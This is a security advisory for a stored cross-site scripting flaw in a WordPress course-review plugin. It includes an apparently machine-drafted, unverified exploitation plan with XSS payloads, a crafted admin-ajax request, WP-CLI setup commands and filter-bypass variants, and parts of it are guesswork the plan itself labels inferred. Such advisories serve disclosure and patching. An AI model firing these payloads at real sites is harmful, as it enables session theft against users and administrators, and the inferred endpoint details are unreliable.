CVE-2026-24361

LearnPress – Course Review <= 4.1.9 - Authenticated (Learnpress student+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.2.0
Patched in
13d
Time to patch

Description

The LearnPress – Course Review plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with learnpress student-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.1.9
PublishedJanuary 15, 2026
Last updatedJanuary 27, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24361 ## 1. Vulnerability Summary The **LearnPress – Course Review** plugin (<= 4.1.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied input when su…

Show full research plan

Exploitation Research Plan - CVE-2026-24361

1. Vulnerability Summary

The LearnPress – Course Review plugin (<= 4.1.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize user-supplied input when submitting a course review and subsequently fails to escape that data when rendering it on course pages. This allows an attacker with "Student" level privileges or higher to inject malicious scripts that execute in the context of any user (including administrators) viewing the course reviews.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: lp_review_course (inferred from plugin naming conventions and common LearnPress patterns)
  • Vulnerable Parameter: review_content and/or review_title (inferred)
  • Authentication: Required (LearnPress Student role or higher)
  • Preconditions:
    1. LearnPress and LearnPress – Course Review must be active.
    2. At least one Course must exist and be open for reviews.
    3. The attacker must have a user account with the lp_student role.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX handler in inc/class-lp-course-review.php (or similar) using add_action( 'wp_ajax_lp_review_course', ... ).
  2. Input Handling: The callback function (e.g., add_review()) retrieves review data from $_POST['review_content'] and $_POST['review_title'].
  3. Storage: The data is stored in the database, likely using wp_insert_comment() (with comment_type set to review) or as Post Meta, without rigorous sanitization (e.g., missing wp_kses).
  4. Rendering: When a user views the course page, the plugin retrieves these reviews and echoes the content in a template file (e.g., templates/course-reviews.php or inside a review-item loop) without using esc_html() or wp_kses_post().

4. Nonce Acquisition Strategy

The plugin likely enqueues a script and localizes the required AJAX configuration, including a nonce.

  1. Identify Trigger: Course reviews are typically displayed on the single course page.
  2. Setup Content: Create a course and ensure the Review tab is enabled.
  3. Navigate: Use browser_navigate to visit the URL of the created course as a logged-in Student.
  4. Extract: Use browser_eval to extract the nonce from the localized JavaScript object.
    • Inferred Variable: window.lp_course_review_config or window.lp_course_review.
    • Inferred Key: nonce or _lp_course_review_nonce.
    • Command: browser_eval("window.lp_course_review?.nonce")

5. Exploitation Strategy

The goal is to submit a review containing a script payload as a Student user.

  1. Authentication: Log in as a user with the lp_student role.
  2. Preparation: Navigate to a course page to obtain the valid course_id and the nonce.
  3. Request: Send a POST request to admin-ajax.php.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=lp_review_course
      course_id=[COURSE_ID]
      review_title=Great Course <script>alert('XSS_TITLE')</script>
      review_content=This is a review <img src=x onerror=alert('XSS_CONTENT')>
      rating=5
      _lp_course_review_nonce=[NONCE]
      
  4. Verification: Navigate to the course page as an Administrator and check for the execution of the alert() payloads.

6. Test Data Setup

  1. Plugin Installation: Ensure learnpress and learnpress-course-review (v4.1.9) are active.
  2. Create Student:
    wp user create student student@example.com --role=lp_student --user_pass=password
  3. Create Course:
    wp post create --post_type=lp_course --post_title="Vulnerable Course" --post_status=publish
  4. Enroll Student (Optional, depending on plugin settings):
    wp eval "learn_press_enroll_user_in_course(get_user_by('email', 'student@example.com')->ID, [COURSE_ID]);"
  5. Review Settings: Ensure "Enable Course Review" is checked in LearnPress settings.

7. Expected Results

  • The AJAX request should return a success response (likely JSON {"success": true}).
  • When any user views the "Vulnerable Course" page, the browser should execute the injected JavaScript, resulting in an alert box.
  • The raw HTML of the course review section will contain the unescaped tags: <script>alert('XSS_TITLE')</script>.

8. Verification Steps

  1. Confirm Storage via CLI:
    wp comment list --comment_type=review (If reviews are comments)
    OR
    wp post meta list [COURSE_ID] (If reviews are stored in meta)
  2. Check for Unsanitized Content:
    wp db query "SELECT comment_content FROM wp_comments WHERE comment_type='review' ORDER BY comment_ID DESC LIMIT 1"
  3. HTTP Verification:
    Use http_request as an unauthenticated user or Admin to fetch the course page and grep for the payload string.

9. Alternative Approaches

  • Payload Location: If review_content is sanitized, try injecting into review_title or the rating parameter (if it is reflected as a string/attribute).
  • Bypass wp_kses: If basic tags are allowed but incorrectly handled, try <svg/onload=alert(1)> or <details open ontoggle=alert(1)>.
  • AJAX Context: Some LearnPress addons use a custom API route. If admin-ajax.php returns 400, search the source for register_rest_route to see if reviews are submitted via the REST API.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LearnPress – Course Review plugin for WordPress (<= 4.1.9) is vulnerable to Stored Cross-Site Scripting (XSS) due to a lack of input sanitization and output escaping on course reviews. Authenticated attackers with Student-level privileges can inject malicious scripts into review titles or content, which then execute in the context of any user viewing the course reviews.

Exploit Outline

To exploit this vulnerability, an attacker must be authenticated with at least the 'lp_student' role. First, the attacker navigates to a course page to retrieve a valid 'course_id' and the AJAX nonce (likely found in the localized 'lp_course_review_config' JavaScript object). Next, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action set to 'lp_review_course'. The payload includes the course ID, the nonce, a rating, and the XSS payload (e.g., <script>alert(1)</script>) within the 'review_title' or 'review_content' parameters. Once submitted, the script is stored and will execute whenever a user, including an administrator, views the reviews on that course page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.